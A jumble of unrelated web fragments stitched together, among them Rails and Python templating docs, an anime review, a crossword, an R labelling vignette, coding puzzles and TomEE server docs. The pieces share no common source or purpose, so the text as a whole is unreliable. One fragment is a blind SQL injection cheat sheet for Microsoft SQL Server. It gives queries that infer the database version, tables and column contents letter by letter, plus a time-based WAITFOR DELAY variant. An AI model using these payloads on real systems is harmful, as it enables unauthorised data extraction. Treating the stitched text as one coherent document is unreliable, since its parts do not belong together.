attendance bold challenge challenges checklist class collect comments completion context courier; em; encouraging evaluation. factors groups helped implemented increasing individual influence influencing inform interpretation intervention, interventions: lessons measure measurement particularly pathways possible, program proposed provided pt;} questionnaire reliability report resulting sessions specific summarised teacher theoretical tools undertaken undertaking vegetable vitality week work year


CaptureHelper exposes methods to let you extract generated markup which can be used in other parts of a template or layout file. It provides a method to capture blocks into variables through capture and a way to capture a block of markup for use in a layout through content_for.
The capture method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout.
Examples
The capture method can be used in ERb templates…
<% @greeting = capture do %> Welcome to my shiny new web page! The date and time is <%= Time.now %> <% end %>
…and Builder (RXML) templates.
@timestamp = capture do "The current timestamp is #{Time.now}." end
You can then use that variable anywhere else. For example:
 <title><%= @greeting %></title>  <%= @greeting %>
[ show source ]
# File vendor/rails/actionpack/lib/action_view/helpers/capture_helper.rb, line 33 33: def capture(*args, &block) 34: # Return captured buffer in erb. 35: if block_called_from_erb?(block) 36: with_output_buffer { block.call(*args) } 37: else 38: # Return block result otherwise, but protect buffer also. 39: with_output_buffer { return block.call(*args) } 40: end 41: end
Calling content_for stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to yield.
Examples
<% content_for :not_authorized do %> alert('You are not authorized to do that!') <% end %>
You can then use yield :not_authorized anywhere in your templates.
<%= yield :not_authorized if current_user.nil? %>
You can also use this syntax alongside an existing call to yield in a layout. For example:
<%# This is the layout %>   <title>My Website</title> <%= yield :script %>   <%= yield %>
And now, we‘ll create a view that has a content_for call that creates the script identifier.
<%# This is our view %> Please login! <% content_for :script do %>  <% end %>
Then, in another view, you could to do something like this:
<%= link_to_remote 'Logout', :action => 'logout' %> <% content_for :script do %> <%= javascript_include_tag :defaults %> <% end %>
That will place


Angel Cop (1989) * 1/2 A movie review by Serdar Yegulalp Copyright 1998 by Serdar Yegulalp
CAPSULE: Repugnant, overlong anime that makes it clear how the genre sometimes gets its bad name.
Anime, like any other genre or group, gets an undeservedly bad reputation from its worst members. Aside from the wretched and overrated OVERFIEND, there's other culprits: the insanely dull ODIN, for one. And ANGEL COP, which is just plain vile. What can you say about a story where the title cards are spelled out in splattered blood to the sound of machine-gun fire, and then goes downhill from there?
ANGEL COP is like a bad version of Sylvester Stallone's COBRA fused with a really low-rent rip-off of THE FIRST POWER and some ROBOCOP thrown in for good measure -- which is really saying something, since FIRST POWER and COBRA were wretched to begin with. Any association with ROBOCOP is a slur on that fine movie. The whole thing clocks in at slightly under two and a half hours -- edited together from five half-hour pieces, but while they were doing that, they could certainly have brought the story down to a less painful length.
The plot: An avowedly communist cell named the Red May are trying to destabilize Japan through acts of terrorism. To combat this threat, the police have created a black-bag ops group who work above the law. (Yes, I'm quoting pretty much word-for-word.) Their leader's so macho he doesn't bother wearing a shirt, but this has to be the first anime where I've seen a normal guy who looked like he had more scar tissue than healthy flesh. Oh, I'm sorry -- that's chest hair, combined with particularly bad character animation.
He is assigned a new partner, a female cop named Angel who's probably even more violent and undisciplined than he is. In a scene where the partner's got a gun to her head, she blows away one of the other terrorists in the room, splattering brains and bone all over the wall. In detail.  Oh.
Angel is, as are the rest of the characters, mostly nonentities who do what the plot and the screenplay tell them to do -- which is shoot people, blow things up, fall out of windows, and karate-chop people to death. Their enemies are not much better, although they get a few allies who are marginally interesting (before they get killed rather unceremoniously). I wish there was more to leave out, but I'll sum by saying ANGEL COP is a good way not to introduce someone to anime.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


The wt
module provides an object-oriented
HTML templating system. This page contains examples of how to perform various
common operations using wt
.
httpd.conf
wt
uses a dual-hierarchy system to separate and identify data
(HTML) files and associated code files. This requires some configuration of the
web server in order to allow it to provide the correct information to
wt
. An example configuration for
Apache using
mod_rewrite
is shown below:
<VirtualHost <IP_ADDRESS>>
ServerName www.example.com
...
RewriteEngine on
RewriteCond %{DOCUMENT_ROOT}/wt/$1.py -f
RewriteRule ^/(.*)$ /wt/$1.py [PT,E=WT_TEMPLATE_URL:/$1,E=WT_TEMPLATE_FILENAME:%{DOCUMENT_ROOT}/$1]
<Location /wt/>
Action wt-handler /cgi-bin/wt.py
SetHandler wt-handler
</Location>
</VirtualHost>
The RewriteCond
line means that the RewriteRule
only takes effect if a code file corresponding to the currently-requested data
file exists in the code directory hierarchy. This means that you can put
ordinary static data files in the data directory hierarchy and they will be
served to the user by the web server as usual without any intervention by
wt
.
The RewriteRule
line rewrites the request URL, which originally
identified the data file, to point to the code file instead. As it does this it
stores information about the data file into environment variables for
wt.Handler.process
to
retrieve later.
Finally the <Location>
block uses normal Apache directives
to tell the web server to execute the code files using
/cgi-bin/wt.py
, which is effectively the central despatch point
for all wt
pages within the site. The simplest possible version
of this file would look as follows:
#!/usr/local/bin/python
import jon.wt as wt
import jon.cgi as cgi
cgi.CGIRequest(wt.Handler).process()
You can also perform global setup actions in this file, for example
altering sys.path[0]
to point to a directory where you place
site-specific modules.
.htaccess
If you do not have access to edit httpd.conf
on your web server,
you can set up the server for use with wt
using
.htaccess
files instead. The way it works and your
/cgi-bin/wt.py
file are exactly the same as the
httpd.conf
case shown above, but
the mod_rewrite
commands are very slightly different.
You will need two .htaccess
files. The first goes in the web
root directory:
RewriteEngine on
RewriteBase /
RewriteCond %{DOCUMENT_ROOT}/wt/$1.py -f
RewriteRule ^(.*)$ /wt/$1.py [E=WT_TEMPLATE_URL:/$1,E=WT_TEMPLATE_FILENAME:%{DOCUMENT_ROOT}/$1]
The second .htaccess
file goes in the /wt/
subdirectory of the web root:
Action wt-handler /cgi-bin/wt.py
SetHandler wt-handler
wt
and session
modules togetherSee the session
module
documentation for how to configure Apache when using both the
wt
and
session
modules together.
TemplateCode
examplesThis example simply displays the form variable foo
as part of
the output HTML. Note that it does not attempt to check whether or not a form
variable called foo
was actually passed to the server by the
user's web browser, and Python will throw an exception if it wasn't. This is
deliberate - if something "shouldn't happen" (e.g. if this page should never
be called without a foo
parameter unless the user has been
inventing URLs) then just let an exception be thrown and caught by the
top-level handler. If you do wish to check whether or not the parameter was
passed then you can use self.req.params.has_key
or
self.req.params.get
.

The 'foo' parameter is: $$foo$$.

class main(wt.TemplateCode):
def foo(self):
return self.req.params["foo"]
This example mostly demonstrates just the syntax of a section. The
section name in the HTML file corresponds to a nested class name in the code
file. Obviously in a real world situation the id
and
title
would not be static but would be calculated or fetched,
e.g. from a database. Note also the way that the replacement inside a URL is
done using the %
encoding modifier so that the replacement text
has any characters that would be special to URLs encoded.

$$title$$

class main(wt.TemplateCode):
class newsitem(wt.TemplateCode):
def id(self): return 123
def title(self): return "this is the title"
main
This example demonstrates overriding the main
method of a
section. In this case it simply decides whether or not to output the
contents of the section depending on whether or not a form variable
show
was present in the request. The section could contain
replacements and sub-sections as usual, although in this simple example it
contains only text.

...content goes here...

class main(wt.TemplateCode):
class section(wt.TemplateCode):
def main(self, template):
if self.req.params.has_key("show"):
self.process(template)
This example builds on the last to show how you can output a section multiple times, with different replacements each time. Again, in the real world you would presumably be fetching values from a database to display to the user.

This is paragraph number $$num$$.

class main(wt.TemplateCode):
class section(wt.TemplateCode):
def main(self, template):
for self.num in xrange(1, 11):
self.process(template)
This example demonstrates the selected
parameter to
wt.TemplateCode.process
.
It also demonstrates subsections, and using inheritance to share code between
sections. The main section is output ten times with incrementing values of
num
, but different subsections are used depending on whether the
number is odd or even. When self.process(template, "odd")
is
called, only subsections called odd
are output, all other sections
are ignored completely (and their associated code classes are not called).
The other interesting point about this example is that, while the HTML for
the odd
and even
sections are different, the code is
similar. We save on duplication by defining a class called subsec
which odd
and even
then subclass. The num
method is thus shared between both while the colour
class variable
is overridden by odd
.

This is paragraph number $$num$$,
which is an odd number.

This is paragraph number $$num$$,
which is an even number.

class main(wt.TemplateCode):
class section(wt.TemplateCode):
class subsec(wt.TemplateCode):
colour = "black"
def num(self):
return self.outer.num
class odd(subsec):
colour = "blue"
class even(subsec):
pass
def main(self, template):
for self.num in xrange(1, 11):
if self.num & 1:
self.process(template, "odd")
else:
self.process(template, "even")
GlobalTemplate
examplesThis example shows the simplest use of a
GlobalTemplate
. The first
HTML file shown is placed in the template.html
file in the
etc
directory. This HTML
then does not need to be repeated for each individual page on the site,
wt
automatically outputs the template HTML with the individual
page HTML inserted at the appropriate point. Therefore the individual page HTML
files are not complete HTML files (i.e. they do not start with

), they are just the fragments required to complete
the global template.

<title>Title for every page</title>

Heading for every page

This is an individual page.

class main(wt.GlobalTemplate):
class page(wt.TemplateCode):
pass
GlobalTemplate
This example is a bit more interesting. The global HTML template contains
a dynamic replacement. In the individual page code, the template class can be
used unchanged, or title
can be overridden to change the template
on this page. In this way you simultaneously get the benefits of shared code
for the global template, and the ability to override particular properties of
the template on individual pages.

<title>$$title$$</title>

Heading for every page

This page is $$description$$.

class template(wt.GlobalTemplate):
title = "Default title"
def template_name(self):
return self.wt.etc + "/our_template.html"
class main(template):
title = "Title for this page"
class page(wt.TemplateCode):
def description(self):
return "super"
$Id: wt-examples.html,v c0f5f983a7fc 2010/03/23 01:07:17 jon $


Eichenwalde map has been added to the map list. However, heroes ratings are still neutral, they will be updated soon.
This is a counter-picker tool that is aimed at beginners and intermediate players.  Junkrat keeps blowing you up? We’ll give you recommendations to guide you to victory!
First, select on the left the heroes you wish to counter. It can be as few as one, or as many as the entire enemy team. Then, select the map you’re playing on (green for defense, red for offense). We’ll then give you recommendations!
The recommendations can also be fine-tuned by setting your proficiency with each heroes. To do so, click on PLAYER SETTINGS on the top right corner, and configure it: -5 means absolutely horrible with the hero, while +5 is your best hero/you’re an expert. The algorithm will consider your skill to match you properly.
See our FAQ and other informations using the links provided at the bottom of the page.


Across: 1. Republicans against North country (4) 3. Job to do after invasion (10) 10. Remain at sea with region's first sailor (7) 11. I'm most out of fashion on the block (7) 12. A bit of investigation established Sara's innocence (14) 14. Grab student at church (5) 15. Superficially dull host getting wild praises for spread (9) 17. In Sartre a sure, reliable fellow to pay the bills (9) 19. One siesta time not appropriate (5) 21. Run of cards with jack and eight on the ends, but not the best suit to be in (14) 24. Let trap run! (7) 25. Jerusalem for instance not unknown as European territory (7) 26. The retarded perhaps lead the actor: meet Rush's 27 (10) 27. Even characters sordid as gambling figures (4) Down: 1. Always living without heart is wrong (10) 2. Almost a month before bed bears fruit (7) 4. Eric or Ian, deranged, cut plant (9) 5. Nut is cracked into individual pieces (5) 6. Ah! Typical label's arranged thus (14) 7. Soldiers, maybe scent is lost (7) 8. You should attend to this and make dough, they say (4) 9. Not keen on authentic sinus trouble (14) 13.  Saturn's 27 etc. with her rack perhaps (9) 18. Right on the money grasping patron's core essence (7) 20. Tricky prize: taking week's vacation (7) 22. Angle amethyst to show this? (5) 23. Ring friend? (4)


FrenzyComputer Engineering Student, and some random Lazy boi from the internet |
I know some Python, Java and bash (don't trust him he has no idea what he's doing)
Linux and open software is my passion and I blow them up wenever its possible
Things to Learn to be competent
- Be a Fullstack Developer
- Be a Java Developer
- Start a startup that actually works
Goals
- Survive University
- Learn German
- Graduate from University as a Computer Engineer
- Get a job in a known company, like Microsoft
- Sustain my Family
- Obtain Independence
My Hobbies
- Exist
- Code stuff
- Procrastinate at YouTube
- Procrastinate at GogoAnime
- Procrastinate at Netflix
My Setup (Ancient old)
My Current Setup (Now its old)
Some stuff I've made for now
- Simple Number Guess Trinket
- Simple Integral Calculator
- Surveying Distance Solver
- My first Website Ever (WARNING: Cringe)
- A simple JS Paint app
- My first Webfolio
- Tic Tac Toe JS inspired by Alex Lee's Java version
- Meteora: My first videogame
- Some Domino Library thingy
- Tic Tac Toe on command line (Python)
- Simple Scoreboard counter (coding bootcamp)
- Overpowered Weapons Mod (Java Project)
- Basic Landing Page (Electron)
- Solutions on Hackerank
| Completed | Title | Author |
|---|---|---|
| Charlotte's Web | ||
| Heartless | Marissa Meyer | |
| Five Nights at Freddies - The Twisted Ones | ||
| Winter | Marissa Meyer | |
| Five Nights at Freddies - Silver Eyes | Scott Cawthon | |
| Don't Make Me Think | ||
| Flowers for Algernon | Daniel Keyes |
Skills
Python |
||||||
Java |
||||||
C# |
||||||
HTML |
||||||
CSS |
||||||
Javascript |


Icons are CC by
glyphicons.com
Demo
Portfolio
Themes
Blue
Orange
Pastel
Documentation
Ray Menu
A responsive fixed menu for your website!
Scroll down to see it in action


Sign In
Login
Username:
Password:
Username:
email:
Password:
Do you prefer cats or dogs?
Dogs:
Cats:
how you feeling?
:)
:|
:(
Comments:
Go


Home
Services
Team
Contact
Home
Services
Team
Contact
Scolah Technologies
Improving outcomes
Our Services
Scolah Education
Lorem markdownum, dictis umbrosum dextrum, Lelegeia quamquam distantes pares ignisque quaerit ded...
Scolah Finance
The demand for higher education is growing across Sub Sahara Africa which has a youthful populati...
Site Reliability As Service
Lorem markdownum aequalis strigis. Saetigeri iubeas, vultu huic alvum nondum de obside ut laniavi...
View All Services
Our Features
Financial Insight and Analytics
New clients recieve an obligation free consultation.
Site Reliability Engineering As A Service
All members of our team are certified accountants.
Improving Educational Outcomes
We stay up to date on the latest changes to the tax code.


Kilari Teja
CSE 3rd Year
Prashant Singh
Shivangi Rai
Abhishek Chhabra
Rajdeep Sharma
Shashank Srivastava
CSE 2nd Year


Thu Jan 10, 2008
One of my favourite blogs has to be Derek Miller’s Penmachine. I really enjoy this blog because Derek writes well and he writes often. Derek usually writes about technology, gadgets, software, and other geektastic topics. After getting cancer a year ago, however, his posts have been a lot more personal. He has unceasingly blogged about his harrowing experiences and shared every tear and every joy with his readers, writing in a straightforward, honest style. He recently redesigned his blog and made it a lot cleaner, using a lot of white space and an elegant simplicity (which I like).
Another blog I enjoy reading is Tom Johnson’s I’d Rather Be Writing. Tom is a tech writer who feeds his need to write by blogging on technical communication. He also runs a popular tech writing podcast. I like his blog because he writes clearly and is passionate about what he does. His website is also clean, with lots of white space and minimal clutter.


Partial-blind injections can be determined by differing HTTP status codes, response times, content-lengths, and HTML contents in the HTTP response. These markers can indicate true or false statements. The queries below will attempt to exploit the injection by asserting a true or false response upon guessed information. True or false queries can also be identified by returning 1(True) or 0(False) rows. An error can also be used to identify 0(False).
| Description | Query |
|---|---|
| Version is 12.0.2000.8 | SELECT @@version WHERE @@version LIKE '%12.0.2000.8%' |
| Subselect is enabled | SELECT (SELECT @@version) |
| Table log_table exists | SELECT * FROM log_table |
| Column message exists in table log_table | SELECT message from log_table |
| First letter of first message is t | WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) SELECT message FROM data WHERE row = 1 and message like 't%' |
Any of the above queries can be used in full-blind scenarios by using the following conversion: IF exists(*PARTIAL_BLIND_QUERY*) WAITFOR DELAY '00:00:02'
Full-blind queries do not indicate any result of the query in the HTTP/HTML response. This makes them dependent upon timing functions and other out-of-band methods for attacks. A true statement will take X seconds to respond, a false statement should return immediately.
| Description | Query |
|---|---|
| Version is 12.0.2000.8 | IF exists(SELECT @@version where @@version like '%12.0.2000.8%') WAITFOR DELAY '00:00:02' |


--- layout: post title: "Fancy Hands" external-url: http://www.fancyhands.com/ ---
For $35/month Fancy Hands, “Personal Assistant for Everyone”, can do 15 tasks of this nature (taken from their 10 most commonly requested tasks:
- Restaurant Reservations
- Scheduling a car service / taxi pickup
- Schedule a haircut with [stylist] on Friday after 1pm
- Find a couple upholsterer options near where I work
- Call some hotel and extend my stay for three nights instead of two
Seems to me that you’re paying $35/month to send 15 emails instead of making 15 phone calls or doing 15 Google searches. Typing “Upholsterer near X location” into Google Maps is initially faster than sending a coherent email and not only will the results be returned instantly but they’re interactive. As for booking a taxi, a haircut or changing a hotel reservation these are 30 second phone calls which resolve instantly.
Legitimately time saving and useful stuff like picking up laundry, recurring tasks or even the graphical theme of their website — a bellhop carrying bags — they can’t do. I imagine the real advantage of a personal assistant would come from tight integration with your life. Things like the ability to go places for you, fill out your calendar, read your email and buy things are all outside the realm of Fancy Hands.
Maybe people are willing to pay $35/month for the illusion of a personal assistant.


A Software like Windows Task Manager
This is a task manager software for Windows. It imitates the task manager of Windows 10 and adds some additional functions to it. It can be said that it is an enhanced version of the common task manager (actually a junk version). Of course, there are still many functions that are not perfect.
This software is open source and it under License MIT，If you are interested in this software, please visit github download software source (excuse me for my poor code level)
Disclaimer: When you use this software, you may make unexpected changes to the system, causing system failure or other losses, so the software will not allow dangerous operations by default.
If you accidentally operate this software and cause damage, this software is not responsible, therefore, please refer to the software to help use this software.
In theory, I'll update it when I'm free and add a little functionality. Maybe I'll update it until the day when Windows is no longer popular.
This software has online update function, you can check the new version by clicking the button below.
Click on the button to check updates
Welcome to visit the project Github repository and make your suggestions.
Author : Drimfish（YuZeCheng）
QQ :<PHONE_NUMBER>
Blog : www.imyzc.com


Hampton Roads
A Million
(Or So)
Buildings Later
Hampton
Roads?
data access in 2014
$5,438 X $22.00 = $119,636
around $14 per citizen!
WILLIAMSBURG
just did it
(dont do that)
just did it
(really dont do that)
just did it
(pls dont do that)
"..York County’s FOIA policy
still allows our department
to charge for GIS data,
however we have decided
to provide some GIS data
to not for profit organizations.."
first import with help from another community member!
city ignored repeated attempts to request the data
happening soon!
??????????????????????


Labelling data is typically a task for end-users and is applied in own scripts or functions rather than in packages. However, sometimes it can be useful for both end-users and package developers to have a flexible way to add variable and value labels to their data. In such cases, quasiquotation is helpful.
This vignette demonstrate how to use quasiquotation in sjlabelled to label your data.
Usually, set_labels()
can be used to add value labels to variables. The syntax of this function is easy to use, and set_labels()
allows to add value labels to multiple variables at once, if these variables share the same value labels.
In the following examples, we will use the frq()
function, that shows an extra label-column containing value labels, if the data is labelled. If the data has no value labels, this column is not shown in the output.
library(sjlabelled)
library(sjmisc) # for frq()-function
library(rlang)
# unlabelled data
dummies <- data.frame(
dummy1 = sample(1:3, 40, replace = TRUE),
dummy2 = sample(1:3, 40, replace = TRUE),
dummy3 = sample(1:3, 40, replace = TRUE)
)
# set labels for all variables in the data frame
test <- set_labels(dummies, labels = c("low", "mid", "hi"))
attr(test$dummy1, "labels")
#> low mid hi
#> 1 2 3
frq(test, dummy1)
#>
#> dummy1 <integer>
#> # total N=40 valid N=40 mean=2.10 sd=0.84
#>
#> Value | Label | N | Raw % | Valid % | Cum. %
#> ---------------------------------------------
#> 1 | low | 12 | 30 | 30 | 30
#> 2 | mid | 12 | 30 | 30 | 60
#> 3 | hi | 16 | 40 | 40 | 100
#> <NA> | <NA> | 0 | 0 | <NA> | <NA>
# and set same value labels for two of three variables
test <- set_labels(
dummies, dummy1, dummy2,
labels = c("low", "mid", "hi")
)
frq(test)
#>
#> dummy1 <integer>
#> # total N=40 valid N=40 mean=2.10 sd=0.84
#>
#> Value | Label | N | Raw % | Valid % | Cum. %
#> ---------------------------------------------
#> 1 | low | 12 | 30 | 30 | 30
#> 2 | mid | 12 | 30 | 30 | 60
#> 3 | hi | 16 | 40 | 40 | 100
#> <NA> | <NA> | 0 | 0 | <NA> | <NA>
#>
#>
#> dummy2 <integer>
#> # total N=40 valid N=40 mean=1.92 sd=0.80
#>
#> Value | Label | N | Raw % | Valid % | Cum. %
#> ---------------------------------------------
#> 1 | low | 14 | 35.00 | 35.00 | 35.00
#> 2 | mid | 15 | 37.50 | 37.50 | 72.50
#> 3 | hi | 11 | 27.50 | 27.50 | 100.00
#> <NA> | <NA> | 0 | 0.00 | <NA> | <NA>
#>
#>
#> dummy3 <integer>
#> # total N=40 valid N=40 mean=1.98 sd=0.83
#>
#> Value | N | Raw % | Valid % | Cum. %
#> -------------------------------------
#> 1 | 14 | 35.00 | 35.00 | 35.00
#> 2 | 13 | 32.50 | 32.50 | 67.50
#> 3 | 13 | 32.50 | 32.50 | 100.00
#> <NA> | 0 | 0.00 | <NA> | <NA>
val_labels()
does the same job as set_labels()
, but in a different way. While set_labels()
requires variables to be specified in the ...
-argument, and labels in the labels
-argument, val_labels()
requires both to be specified in the ...
.
val_labels()
requires named vectors as argument, with the left-hand side being the name of the variable that should be labelled, and the right-hand side containing the labels for the values.
test <- val_labels(dummies, dummy1 = c("low", "mid", "hi"))
attr(test$dummy1, "labels")
#> low mid hi
#> 1 2 3
# remaining variables are not labelled
frq(test)
#>
#> dummy1 <integer>
#> # total N=40 valid N=40 mean=2.10 sd=0.84
#>
#> Value | Label | N | Raw % | Valid % | Cum. %
#> ---------------------------------------------
#> 1 | low | 12 | 30 | 30 | 30
#> 2 | mid | 12 | 30 | 30 | 60
#> 3 | hi | 16 | 40 | 40 | 100
#> <NA> | <NA> | 0 | 0 | <NA> | <NA>
#>
#>
#> dummy2 <integer>
#> # total N=40 valid N=40 mean=1.92 sd=0.80
#>
#> Value | N | Raw % | Valid % | Cum. %
#> -------------------------------------
#> 1 | 14 | 35.00 | 35.00 | 35.00
#> 2 | 15 | 37.50 | 37.50 | 72.50
#> 3 | 11 | 27.50 | 27.50 | 100.00
#> <NA> | 0 | 0.00 | <NA> | <NA>
#>
#>
#> dummy3 <integer>
#> # total N=40 valid N=40 mean=1.98 sd=0.83
#>
#> Value | N | Raw % | Valid % | Cum. %
#> -------------------------------------
#> 1 | 14 | 35.00 | 35.00 | 35.00
#> 2 | 13 | 32.50 | 32.50 | 67.50
#> 3 | 13 | 32.50 | 32.50 | 100.00
#> <NA> | 0 | 0.00 | <NA> | <NA>
Unlike set_labels()
, val_labels()
allows the user to add different value labels to different variables in one function call. Another advantage, or difference, of val_labels()
is it’s flexibility in defining variable names and value labels by using quasiquotation.
To use quasiquotation, we need the rlang package to be installed and loaded. Now we can have labels in a character vector, and use !!
to unquote this vector.
The same can be done with the names of variables that should get new value labels. We then need !!
to unquote the variable name and :=
as assignment.
Finally, we can combine the above approaches to be flexible regarding both variable names and value labels.
set_label()
is the equivalent to set_labels()
to add variable labels to a variable. The equivalent to val_labels()
is var_labels()
, which works in the same way as val_labels()
. In case of variable labels, a label
-attribute is added to a vector or factor (instead of a labels
-attribute, which is used for value labels).
The following examples show how to use var_labels()
to add variable labels to the data. We demonstrate this function without further explanation, because it is actually very similar to val_labels()
.
dummy <- data.frame(
a = sample(1:4, 10, replace = TRUE),
b = sample(1:4, 10, replace = TRUE),
c = sample(1:4, 10, replace = TRUE)
)
# simple usage
test <- var_labels(dummy, a = "first variable", c = "third variable")
attr(test$a, "label")
#> [1] "first variable"
attr(test$b, "label")
#> NULL
attr(test$c, "label")
#> [1] "third variable"
# quasiquotation for labels
v1 <- "First variable"
v2 <- "Second variable"
test <- var_labels(dummy, a = !! v1, b = !! v2)
attr(test$a, "label")
#> [1] "First variable"
attr(test$b, "label")
#> [1] "Second variable"
attr(test$c, "label")
#> NULL
# quasiquotation for variable names
x1 <- "a"
x2 <- "c"
test <- var_labels(dummy, !! x1 := "First", !! x2 := "Second")
attr(test$a, "label")
#> [1] "First"
attr(test$b, "label")
#> NULL
attr(test$c, "label")
#> [1] "Second"
# quasiquotation for both variable names and labels
test <- var_labels(dummy, !! x1 := !! v1, !! x2 := !! v2)
attr(test$a, "label")
#> [1] "First variable"
attr(test$b, "label")
#> NULL
attr(test$c, "label")
#> [1] "Second variable"
As we have demonstrated, var_labels()
and val_labels()
are one of the most flexible and easy-to-use ways to add value and variable labels to our data. Another advantage is the consistent design of all functions in sjlabelled, which allows seamless integration into pipe-workflows.


@UiThread abstract fun runningTask(task: PendingTask): Unit
The task runner is now running this given task.
task - The PendingTask being run by the task runner.
task


描述
Given an array of integers, find if the array contains any duplicates. Your function should return true if any value appears at least twice in the array, and it should return false if every element is distinct.
Given an array of integers, find if the array contains any duplicates. Your function should return true if any value appears at least twice in the array, and it should return false if every element is distinct.
Remove all elements from a linked list of integers that have value val.
Example
Given: 1 –> 2 –> 6 –> 3 –> 4 –> 5 –> 6, val = 6
Return: 1 –> 2 –> 3 –> 4 –> 5
Given an array of integers and an integer k, find out whether there are two distinct indices i and j in the array such that nums[i] = nums[j] and the difference between i and j is at most k.
Implement the following operations of a stack using queues.
Given a string s
which represents an expression, evaluate this expression and return its value.
The integer division should truncate toward zero.
Note: You are not allowed to use any built-in function which evaluates strings as mathematical expressions, such as eval()
.
Example 1:
1 | Input: s = "3+2*2" |
Example 2:
1 | Input: s = " 3/2 " |
Example 3:
1 | Input: s = " 3+5 / 2 " |
Constraints:
1 <= s.length <= 3 * 105
s
consists of integers and operators ('+', '-', '*', '/')
separated by some number of spaces.s
represents a valid expression.[0, 231 - 1]
.Find the total area covered by two rectilinear rectangles in a 2D plane.
Each rectangle is defined by its bottom left corner and top right corner as shown in the figure.
Given a binary search tree, write a function kthSmallest
to find the kth smallest element in it.
Note:
You may assume k is always valid, 1 ≤ k ≤ BST’s total elements.
Example 1:
1 | Input: root = [3,1,4,null,2], k = 1 |
Example 2:
1 | Input: root = [5,3,6,2,4,null,null,1], k = 3 |
Follow up:
What if the BST is modified (insert/delete operations) often and you need to find the kth smallest frequently? How would you optimize the kthSmallest routine?


import org.apache.tomee.bootstrap.Server;
public class Main {
public static void main(String[] args) {
final Server server = Server.builder().build();
System.out.println("Listening for requests at " + server.getURI());
}
}
Serverless Builder API
The Server.Builder
API allows you to build an embedded or serverless instance of Tomcat/TomEE inside your JVM, effectively running Tomcat/TomEE as a plain library.
The design of the API might be best described as a functional-builder API (FBA) and effectively allows you to supply functions and method references that actually assist in the server building process. Its through these functions that you can deploy applications, modify configurations and effectively run any code that you need that would help prepare the server instance.
A high-level overview of the builder methods available after calling Server.builder()
are as follows:
public static class Builder
public Builder httpPort(final int port)
public Builder ajpPort(final int port)
public Builder add(final String name, final byte[] bytes)
public Builder add(final String name, final Supplier<byte[]> content)
public Builder add(final String name, final String content)
public Builder add(final String name, final File content)
public Builder add(final String name, final Archive contents)
public Builder home(final Consumer<File> customization)
public Builder and(final Consumer<Builder> consumer)
public Server build()
To really know how to use the API, we must first understand Tomcat’s catalina.home
and catalina.base
concepts and what actually happens when we call Server.builder().build()
Understanding Tomcat’s home and base
It’s a little known fact that for decades Tomcat has had the ability to run several instances from a single Tomcat zip. Tomcat uses a catalina.home
variable to identify the location of the extracted zip where the server libraries can be found and a catalina.base
per instance to define the location of that instance’s configuration files, log files and webapps.
In our situation, your JVM classpath is effectively the catalina.home
and when we use the Server
API we’re creating a very thin catalina.base
that holds the configuration files, log files and webapps for that built Server (Tomcat) instance. If you use the Server
API ten times in the same JVM, you will have 10 catalina.base
directories. These are considered temporary working locations, however, and will be deleted on JVM exit.
Calling Server.builder().build()
When the build()
method of the Server.Builder
is called the following actions are taken in this order:
-
Any functions added via
and(final Consumer<Builder> consumer)
are executed. This allows a function to be supplied that further modifies the builder just before any building is executed. Several builder modifications can be wrapped into one function that installs them all. -
A temp directory is created that will serve as
catalina.home
andcatalina.base
and default configurations such asserver.xml
,logging.properties
, andtomee.xml
are copied in. -
Any functions added via
add(final String destinationPath, final Supplier<byte[]> content)
are executed and any supplied bytes, Strings or Files are written to thedestinationPath
inside the temp directory. This allows the default configurations likeserver.xml
to be overwritten or applications to be written to thewebapps/
directory. -
Ports are set by modifying the
conf/server.xml
. IfhttpPort
was not set, ports will be random. -
Any functions added via
home(final Consumer<File> customization)
are executed. The temp directory will be supplied as the value ofFile
. -
The Tomcat/TomEE instance is started and returned as an instance of
Server
Seeing the Result of Server.builder().build()
It helps greatly to be able to see what was built. We can do that by installing a function or method reference like the one below.
import org.apache.tomee.bootstrap.Server;
import java.io.File;
import java.io.IOException;
import java.io.UncheckedIOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.stream.Stream;
public class Main {
public static void main(String[] args) {
Server.builder()
.home(Main::list)
.build();
}
private static void list(final File home) {
try {
Files.walk(home.toPath())
.sorted()
.forEach(System.out::println);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
}
}
When we run that we should see output similar to the following:
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/catalina.policy
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/catalina.properties
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/context.xml
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/jaspic-providers.xml
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/jaspic-providers.xsd
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/logging.properties
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/server.xml
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/system.properties
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/tomcat-users.xml
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/tomcat-users.xsd
/var/folders/bd/f9ntqy1m8xj_fs006s6crtjh0000gn/T/temp9107162877421339516dir/apache-tomee/conf/tomee.xml
